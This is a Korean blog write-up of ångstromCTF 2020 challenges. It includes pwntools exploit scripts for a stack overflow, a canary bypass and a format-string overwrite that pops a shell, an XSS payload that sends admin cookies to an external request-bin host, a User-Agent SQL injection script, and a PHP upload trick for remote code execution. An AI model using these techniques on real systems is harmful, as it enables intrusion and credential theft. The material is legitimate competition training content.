본문으로 바로가기

ångstromCTF 2020

category CTF/CTF Playground 2020. 3. 16. 04:48

 

Binary :: No Canary

gets(name); 에서 취약점이 발생한다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('-r''--remote'help='connect to remote server'action='store_true')
args = parser.parse_args()

if args.remote :
    p = connect('shell.actf.co'20700)
else :
    p = process('./no_canary')


def exploit() :
    payload = b'A'*0x28
    payload += p64(0x401186)

    p.writeline(payload)

    p.interactive()


if __name__ == '__main__' :
    exploit()

 

Flag: actf{that_gosh_darn_canary_got_me_pwned!}

 

Binary :: Canary

FSB로 canary leak하고 ROP로 flag를 호출하면 된다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('-r''--remote'help='connect to remote server'action='store_true')
args = parser.parse_args()

if args.remote :
    p = connect('shell.actf.co'20701)
else :
    p = process('./canary')


def exploit() :
    p.writeline('%17$p')
    p.readuntil('0x')
    canary = int(p.readuntil('!')[:-1], 16)
    print('[Exploit] canary = '+hex(canary))

    payload = b'A'*0x38
    payload += p64(canary)
    payload += b'A'*8
    payload += p64(0x400787)   # flag

    p.writeline(payload)

    p.interactive()


if __name__ == '__main__' :
    exploit()

 

Flag: actf{youre_a_canary_killer_>:(}

 

Binary :: bop_it

wrong은 스택 동적 할당된 영역으로 rsp에 위치하며, 포인터가 rbp-0x178에 저장된다. 그런데 동적 할당을 할 때 사용하는 값은 guessLen이 아니라 strlen(guess) 이다.

 

22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
            char guess[256];
            guess[0] = c;
            int guessLen = read(0guess+1255)+1//add to already entered char
            guess[guessLen-1] = 0//remove newline
            char flag[32];
            FILE *f = fopen("flag.txt""rb");
            int r = fread(flag132f);
            flag[r] = 0//null terminate
            if (strncmp(guessflagstrlen(flag))) {
                char wrong[strlen(guess)+35];
                wrong[0] = 0//string is empty intially
                strncat(wrongguessguessLen);
                strncat(wrong" was wrong. Better luck next time!\n"35);
                write(1wrongguessLen+35);
                exit(0);
            }

 

여기서 guess의 앞부분에 임의의 NULL 바이트를 넣으면, 뒷 부분 스택의 값을 쭉 읽어올 수 있다. 맨 앞에 NULL 바이트 1개를 넣고 임의의 255바이트 크기의 값을 써주면 된다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('-r''--remote'help='connect to remote server'action='store_true')
args = parser.parse_args()

if args.remote :
    p = connect('shell.actf.co'20702)
else :
    p = process('./bop_it')


def exploit() :
    while True :
        action = p.readline().rstrip()

        if action == b'Flag it!' :
            p.write(('\x00'+'A'*0xFF).encode())
            print(p.read())
            break
        else :
            p.writeline(action[0:1])

    p.interactive()


if __name__ == '__main__' :
    exploit()

 

Flag: actf{bopp1ty_bop_bOp_b0p}

 

Binary :: LIBrary in C

FSB를 두 번 트리거할 수 있다. libc 파일이 주어졌으므로, 첫 번째 printf에서 __libc_start_main을 통해 libc base과 sfp를 leak하고 두 번째 printf에서 magic gadget을 ret에 덮어씌워 쉘을 따면 된다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('-r''--remote'help='connect to remote server'action='store_true')
args = parser.parse_args()

if args.remote :
    p = connect('shell.actf.co'20201)
else :
    p = process('./library_in_c')


def exploit() :
    p.readuntil(b'?\n')
    p.writeline(b'%24$p %27$p')

    p.readuntil(b'0x')
    leak = int(p.readuntil(' ').rstrip(), 16)
    ret = leak-0xD8

    print('[Exploit] ret address: '+hex(ret))

    p.readuntil(b'0x')
    leak = int(p.readline().rstrip(), 16)
    libc_base = leak-0x20830
    magic_gadget = libc_base+0x45216

    print('[Exploit] libc base: '+hex(libc_base))
    print('[Exploit] magic gadget: '+hex(magic_gadget))

    magic_gadget_low = magic_gadget & 0xFFFF
    magic_gadget_mid = (magic_gadget >> 16) & 0xFFFF
    magic_gadget_high = magic_gadget >> 32

    payload = '%{0}c'.format(magic_gadget_low).encode()
    payload += b'%21$n'
    payload += '%{0}c'.format((magic_gadget_mid-magic_gadget_low)%0x10000).encode()
    payload += b'%22$n'
    payload += '%{0}c'.format((magic_gadget_high-magic_gadget_mid)%0x10000).encode()
    payload += b'%23$hn'
    payload = payload.ljust(40b'\x00')
    payload += p64(ret)
    payload += p64(ret+2)
    payload += p64(ret+4)

    p.writeline(payload)

    p.interactive()


if __name__ == '__main__' :
    exploit()

 

Flag: actf{us1ng_c_15_n3v3r_4_g00d_1d34}

 

Rev :: Revving Up

Flag: actf{g3tting_4_h4ng_0f_l1nux_4nd_b4sh}

 

Rev :: Windows of Opportunity

Flag: actf{ok4y_m4yb3_linux_is_s7ill_b3tt3r}

 

Rev :: Taking Off

argv에 각각 3, 9, 2, chicken을 넣어주고, 0x602090에 있는 17바이트와 0x2A를 xor해서 나온 문자열 (please give flag) 을 써 주면 된다.

 

Flag: actf{th3y_gr0w_up_s0_f4st}

 

Rev :: Patcherman

플래그 계산 과정 리버싱한다고 삽질했는데, 그냥 0x601050의 DWORD 값을 0x1337BEEF로 바꿔주고 실행하면 플래그가 나온다. (...)

 

Flag: actf{p4tch3rm4n_15_n0_m0r3}

 

Rev :: Califrobnication

주어진 소스코드에는 난생 처음 보는 함수가 2개나 사용되었다. 각각을 빠르게 설명하면..

* memfrob: 특정 영역에 XOR 42를 한다.

* strfry: 문자열을 무작위로 섞는다.

 

핵심은 strfry를 리버싱하는 것이다. 환경에서는 glibc 2.23이 사용되었지만, glibc 2.30에서 실행해도 별 문제 없다.

문제의 strfry는 glibc의 /string/strfry.c에 아래와 같이 정의되어 있다.

 

23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
char *
strfry (char *string)
{
  static int init;
  static struct random_data rdata;
 
  if (!init)
    {
      static char state[32];
      rdata.state = NULL;
      __initstate_r (time ((time_t *NULL) ^ getpid (),
             state, sizeof (state), &rdata);
      init = 1;
    }
 
  size_t len = strlen (string);
  if (len > 0)
    for (size_t i = 0; i < len - 1++i)
      {
    int32_t j;
    __random_r (&rdata, &j);
    j = j % (len - i) + i;
 
    char c = string[i];
    string[i] = string[j];
    string[j] = c;
      }
 
  return string;
}

 

단순한 로직이다. 랜덤을 위해 사용되는 시드값은 현재 시간(time)과 프로세스의 id(pid) 두 가지가 있다. 위 코드에서 swap 하는 대신 j값을 전부 뽑아낸다면 원본 문자열을 복구할 수 있게 된다. 프로세스의 id를 어떻게 찾아올까 고민을 잠시 했었는데, bash & 연산자를 쓰면 pid가 보인다는 점을 이용했다. 그 이후부터는, 출력된 문자열을 가지고 현재 시간에서부터 1씩 감소시키며 쭉 돌리면 actf로 시작하는 문자열(플래그)을 얻을 수 있다.

 

C implemention이 필요하기 때문에 C로 strfry를 구현한 간단한 solver engine을 만들었고, python으로 최종 구현했다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>

void strfry_entries(time_t seedint pidsize_t length) {
    static int init;
    static struct random_data rdata;

    if (init) {
        static char state[32];
        rdata.state = NULL;
        initstate_r (seed ^ pidstatesizeof (state), &rdata);
        init = 1;
    }
    
    if (length > 0) {
        for (size_t i=0 ; i<length-1 ; ++i) {
            int32_t j;
            random_r (&rdata, &j);
            j = j%(length-i)+i;

            /*
            char c = string[i];
            string[i] = string[j];
            string[j] = c;
            */

            printf("%d\n"j);
        }
    }
}

int main(int argcchar **argvchar **envp) {
    if (argc != 4) {
        printf("Usage: %s [seed] [pid] [string]\n"argv[0]);
        exit(0);
    }

    time_t seed = atoll(argv[1]);
    int pid = atoi(argv[2]);

    strfry_entries(seedpidstrlen(argv[3]));

    return 0;
}

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
from time import time
import base64

context.log_level = 'error'


def exchange(string:strpos1pos2) :
    if pos1 == pos2 : return string
    if pos1 > pos2 : pos1, pos2 = pos2, pos1

    return string[:pos1]+string[pos2]+string[pos1+1:pos2]+string[pos1]+string[pos2+1:]

def solver(time:intpid:intstring:str) :
    p = process(['./solver'str(time), str(pid), string])
    length = len(string)
    result = []

    for _ in range(length-1) :
        result.append(int(p.readline().rstrip()))

    for i in range(length-2, -1, -1) :
        string = exchange(string, i, result[i])

    return string


if __name__ == '__main__' :
    current_time = int(time())
    pid = 20915

    t = 'SGVyZSdzIHlvdXIgZW5jcnlwdGVkIGZsYWc6IEtFdUlMThobdUMbWE5JEkxJGEtMTkQfSxxPE0NRXl5EWEV1TEsfQ1ceHkVLSEZJRwo='
    t = base64.b64decode(t)[28:].rstrip()
    flag_enc = ''.join([chr(c^42for c in t])

    while True :
        s = solver(current_time, pid, flag_enc)

        if s.startswith('actf') :
            print(s)
            print('[Info] time={0}, pid={1}'.format(current_time, pid))
            break

        current_time -= 1

 

Flag: actf{dream_of_califrobnication_1f6d458091cad254}

 

Crypto :: Keysar

Keyed Caesar Cipher이다.

 

Flag: actf{yum_delicious_salad}

 

Crypto :: Reasonably Strong Algorithm

\(N\)이 작아 보인다. 소인수분해하면 두 개의 소인수 9336949138571181619과 13536574980062068373가 나온다.

\(d\)를 구하고 \(c^{d}\ (\mathrm{mod}\ N)\) 을 구하면 된다.

\[\begin{align} d&=122116681453826726664714315157880092841 \\ c^{d}&\equiv 3456505669976011892616877716395432178557\ (\mathrm{mod}\ N) \end{align}\]

 

Flag: actf{10minutes}

 

Crypto :: Wacko Images

각 픽셀에 41, 37, 23을 각각 RGB에 곱하고 251로 나눈 나머지를 적용한다. 나머지 251인 Integer Ring \(\mathbb{Z}/251\mathbb{Z}\) 위에서 연산해 복호화하면 된다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from sage.all import *
from PIL import Image

image = Image.open('enc.png')
w, h = image.size

key = [413723]
Zn = Zmod(251)

for y in range(h) :
    for x in range(w) :
        px = list(image.getpixel((x, y)))
        
        for i in range(3) :
            px[i] = Zn(px[i])/Zn(key[i])

        image.putpixel((x, y), tuple(px))

image.save('flag.png')

 

 

Flag: actf{m0dd1ng_sk1llz}

 

Web :: The Magic Word

페이지 소스에서, id=magic인 태그의 innerHTML을 please give flag로 바꾸면 플래그를 보여주는 동작이 있다.

 

1
2
3
4
5
6
7
8
var msg = document.getElementById("magic");
setInterval(function() {
    if (magic.innerText == "please give flag") {
        fetch("/flag?msg=" + encodeURIComponent(msg.innerText))
            .then(res => res.text())
            .then(txt => magic.innerText = txt.split``.map(v => String.fromCharCode(v.charCodeAt(0) ^ 0xf)).join``);
    }
}, 1000);

 

Flag: actf{1nsp3c7_3l3m3nt_is_y0ur_b3st_fri3nd}

 

Web :: Xmas Still Stands

/posts에서 XSS를 트리거할 수 있다. /report에서는 admin이 신고받은 포스트를 확인하는 듯 하므로, AJAX로 웹 서버에 쿠키를 보내주고 신고하면 admin의 쿠키를 얻을 수 있다.

 

<img src=a onerror="var x=new XMLHttpRequest(); x.open('POST', 'http://enkl4fsamn46m.x.pipedream.net/', false); x.setRequestHeader('Leak', document.cookie); x.send();" />

 

서버 만들기 귀찮아서 requestbin 씀

 

쿠키를 설정하고 /admin에 들어가면 된다.

 

Flag: actf{s4n1tize_y0ur_html_4nd_y0ur_h4nds}

 

Web :: Consolation

버튼을 누르면 아래와 같이 생긴 nofret 함수를 실행한다.

 

1
2
3
4
5
function nofret() {
    document[_0x4229('0x95''kY1#')](_0x4229('0x9''kY1#'))[_0x4229('0x32''yblQ')] = parseInt(document[_0x4229('0x5e''xtR2')](_0x4229('0x2d''uCq1'))['innerHTML']) + 0x19;
    console[_0x4229('0x14''70CK')](_0x4229('0x38''rwU*'));
    console['clear']();
}

 

console[_0x4229('0x14', '70CK')](_0x4229('0x38', 'rwU*')); 을 실행하면 플래그를 준다.

 

Flag: actf{you_would_n0t_beli3ve_your_eyes}

 

Web :: Git Good

dirsearch를 돌려보면 /.git/ 의 여러 항목에 접근 가능하다는 것을 알 수 있다.

 

 

처음에는 저 파일들만으로 뭘 찾아봤는데 아무것도 안 나왔다.. 그래서 /.git 과 관련한 웹 CTF 문제를 찾아보던 중 GitTools이라는 도구를 찾아서 썼다. Dumper를 사용해서 /.git 폴더를 덤프할 수 있고, git show로 플래그를 확인할 수 있다.

 

 

Flag: actf{b3_car3ful_wh4t_y0u_s3rve_wi7h}

 

Web :: Secret Agents

User-Agent 헤더를 통해 SQL Injection을 수행할 수 있다. LIMIT로 하나씩 가져오면 된다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests

if __name__ == '__main__' :
    s = requests.Session()

    for i in range(500) :
        s.headers['User-Agent'] = "'OR 1=1 LIMIT {0},1#".format(i).replace(' ''/**/')
        r = s.get('https://agents.2020.chall.actf.co/login')

        recv = r.content.decode()
        begin = recv.find('<p>')+3
        end = recv.find('</p>')

        print('[Info] UR index={0}, Name={1}'.format(i, recv[begin:end]))

        if 'actf' in recv :
            break

 

Flag: actf{nyoom_1_4m_sp33d}

 

Web :: Defund's Crypt

페이지 주석을 보면 src.php로 index.php 코드를 그대로 보여준다.

MIME Type을 검사하는데, PNG Signature와 IEND 헤더 두개 넣어주고 뒷 부분에 php 코드를 쓴 뒤, 확장자를 .png.php로 설정해서 php RCE를 할 수 있다. /flag.txt를 읽으면 플래그를 준다.

 

Flag: actf{th3_ch4ll3ng3_h4s_f4ll3n_but_th3_crypt_rem4ins}

 

Misc :: Sanity Check

Flag: actf{never_gonna_let_you_down}

 

Misc :: ws1

Wireshark로 보면, HTTP POST request를 보내는 패킷(No.17)이 보인다. flag parameter가 플래그다.

 

Flag: actf{wireshark_isn't_so_bad_huh-a9d8g99ikdf}

 

Misc :: clam clam clam

출력을 파일로 저장하면 type "clamclam" for salvation 문구를 볼 수 있다.

입력으로 clamclam을 보내주면 플래그를 얻을 수 있다.

 

Flag: actf{cl4m_is_my_f4v0rite_ctfer_in_th3_w0rld}

 

Misc :: ws2

HTTP POST로 이미지를 보낸다. 패킷 바이트를 뽑아내서 jpg로 저장하고 보면 플래그가 나온다.

 

Flag: actf{ok_to_b0r0s-4809813}

 

Misc :: PSK

주어진 wav 파일에서 strings로 문자열을 뽑아내면, BPSK31 freq=1.941로 인코딩되었으며 소프트웨어는 fldigi 4.0.17을 사용했다는 정보를 얻을 수 있다. fldigi로 audio output을 캡쳐한 뒤 wav 파일을 재생하면 문자열을 얻을 수 있다.

 

 

Flag: actf{hamhamhamhamham}

 

Misc :: Inputter

원격 쉘에서 inputter에 적절한 argv와 입력을 넣어서 플래그를 가져오는 문제다.

확인해보니 pwntools가 설치되어 있어서, 프로세스 열고 입력을 넣어서 플래그를 쉽게 가져올 수 있었다.

 

team6691@actf:/problems/2020/inputter$ python
Python 2.7.12 (default, Oct  8 2019, 14:14:10) 
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> def ex() :
...     p = process(['./inputter', " \n'\"\x07"])
...     p.write("\x00\x01\x02\x03\n")
...     p.interactive()
... 
>>> ex()
[x] Starting local process './inputter'
[+] Starting local process './inputter': pid 13133
[*] Switching to interactive mode
[*] Process './inputter' stopped with exit code 0 (pid 13133)
You seem to know what you're doing.
actf{impr4ctic4l_pr0blems_c4ll_f0r_impr4ctic4l_s0lutions}
[*] Got EOF while reading in interactive

 

Flag: actf{impr4ctic4l_pr0blems_c4ll_f0r_impr4ctic4l_s0lutions}

 

Misc :: msd

주어진 코드는 아래와 같다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from PIL import Image

im = Image.open('breathe.jpg')
im2 = Image.open("breathe.jpg")

width, height = im.size

flag = "REDACT"
flag = ''.join([str(ord(i)) for i in flag])


def encode(id):
    i = list(str(i))
    i[0] = d

    return int(''.join(i))
    

c = 0

for j in range(height):
    for i in range(width):
        data = []
        for a in im.getpixel((i,j)):
            data.append(encode(a, flag[c % len(flag)]))

            c+=1

        im.putpixel((i,j), tuple(data))
        
im.save("output.png")
pixels = im.load()

 

각 픽셀의 RGB값의 첫 번째 자리를 flag로 바꿔버린다. 따라서 암호화된 이미지의 각 픽셀은 다음과 같이 해석될 수 있다.

1. 0xFF : flag의 자리값이 2 이상이고, RGB값이 3자리이다.

2. not 0xFF : 첫 번째 자리값 또는 0이 flag의 자리값이다.

 

주어진 이미지에서 RGB값의 첫 번째 자리를 전부 모은 뒤, 9799를 찾아보면 플래그가 언급되는 여러 부분을 볼 수 있다. 아래에 몇 개를 예시로 나열해 봤다. (0xFF가 등장할 때는 ?로 해석함)

 

9799116162123185110184971881819517112118497198101951111221121224549535148579813?17?163121114
97991161521231751171849715815195161125164971681519516112211212245495551485798165173183121194979812112576111114101119321751121151171693211611116
979911616212316511411???16?111?518112216???15?161??111122112122454953514857?814?15?15?12114?????1211
9799116192123185114134971981719?18112913497128181??1511?2112122?????4?1??????12?12?12?12112?????12112??
97991161321231451121549719810195131129124971481419516112211212245495251485798115123133121144979812112576111114141159321951121151171593213511114
979911616212316511816497198121951611271549713816195121122112122?????3?1??????11?19?19?1?119?????1?112???11111?11115?3211511211511715932178111168
cs

 

모든 occurrence를 모아 보면, 아래와 같이 세 가지 패턴으로 나누어짐을 확인할 수 있다.

1. 모든 경우에 대해 숫자값이 나오고, 그 값이 동일하다.

2. 모든 경우에 대해 숫자값이 나오지만, 값이 동일하지 않다.

3. 어떤 경우에는 숫자값이 나오고, 어떨 때는 ?가 나온다.

 

2번의 경우는, flag의 자리값이 0인 경우다. 3번째 경우는, ?가 아닌 숫자를 ?에 대입하면 된다. 이 방법으로 최종 문자열을 구한 뒤, 숫자를 적절히 나눠 플래그를 구할 수 있다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from PIL import Image

if __name__ == '__main__' :
    img = Image.open('output.png')
    width, height = img.size

    f = ''
    c = 0

    for j in range(height) :
        for i in range(width) :
            for r in img.getpixel((i, j)) :
                if r == 255 : f += '?'
                else : f += str(r)[0]
                c += 1

    occur = []
    size = 0

    while True :
        pos = f.find('9799')
        if pos == -1 : break

        occur.append(f[pos:pos+150])
        f = f[pos+150:]
        size += 1

    final = ''

    for pos in range(150) :
        num = '-'
        pref = False

        for i in range(size) :
            if num == '-' and occur[i][pos].isnumeric() :
                num = occur[i][pos]

            if occur[i][pos] == '?' and num != '-' :
                final += num
                pref = True
                break

            if num != '-' and occur[i][pos] != num :
                final += '0'
                pref = True
                break

        if not pref :
            final += num

    print(final)

    flag = ''
    i = 0

    while i < len(final) :
        if final[i] != '1' :
            flag += chr(int(final[i:i+2]))
            i += 2
        else :
            flag += chr(int(final[i:i+3]))
            i += 3

    print(flag)

 

Flag: actf{inhale_exhale_ezpz-12309biggyhaby}

 

Misc :: Shifter

문자열과 n을 주며, n번째 피보나치 수만큼 문자를 shift해 보내주는 과정을 50번 반복하면 플래그가 나온다.

Memoization 또는 행렬 제곱을 이용한 빠른 피보나치 알고리즘을 쓰면 된다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *

def fibonacci(n) :
    if n == 0 : return 0
    v1, v2, v3 = 110

    for rec in bin(n)[3:] :
        calc = v2*v2
        v1, v2, v3 = v1*v1+calc, (v1+v3)*v2, calc+v3*v3
        if rec == '1' : v1, v2, v3 = v1+v2, v1, v2

    return v2%26

def shift(textn) :
    return ''.join([chr((c-65+n)%26+65for c in text]).encode()

if __name__ == '__main__' :
    p = connect('misc.2020.chall.actf.co'20300)

    for _ in range(50) :
        p.readuntil('Shift ')
        text = p.readuntil(' ').rstrip()
        p.readuntil('=')
        n = int(p.readline().rstrip())
        r = shift(text, fibonacci(n))

        print('[Info] Text={0}, n={1} > Result={2}'.format(text, n, r))
        p.writeline(r)

    p.interactive()

 

Flag: actf{h0p3_y0u_us3d_th3_f0rmu14-1985098}

 

Misc :: ws3

76번째 패킷의 크기가 상당히 크다. x-git-receive-pack-request로 18068바이트의 데이터가 넘어가는데, 따로 빼내고 binwalk를 한 뒤 0x1A9부터 잘라내서 zlib 압축을 풀면 JPEG 파일이 나오고, 그림을 보면 플래그가 보인다.

 

 

Flag: actf{git_good_git_wireshark-123323}

 

'CTF > CTF Playground' 카테고리의 다른 글

Securinets Prequals 2K20  (0) 2020.03.23
riftCTF  (0) 2020.03.21
HackTM CTF 2020  (0) 2020.02.02
Rice Tea Cat Panda #cat-chat  (0) 2020.01.24
Rice Tea Cat Panda  (0) 2020.01.22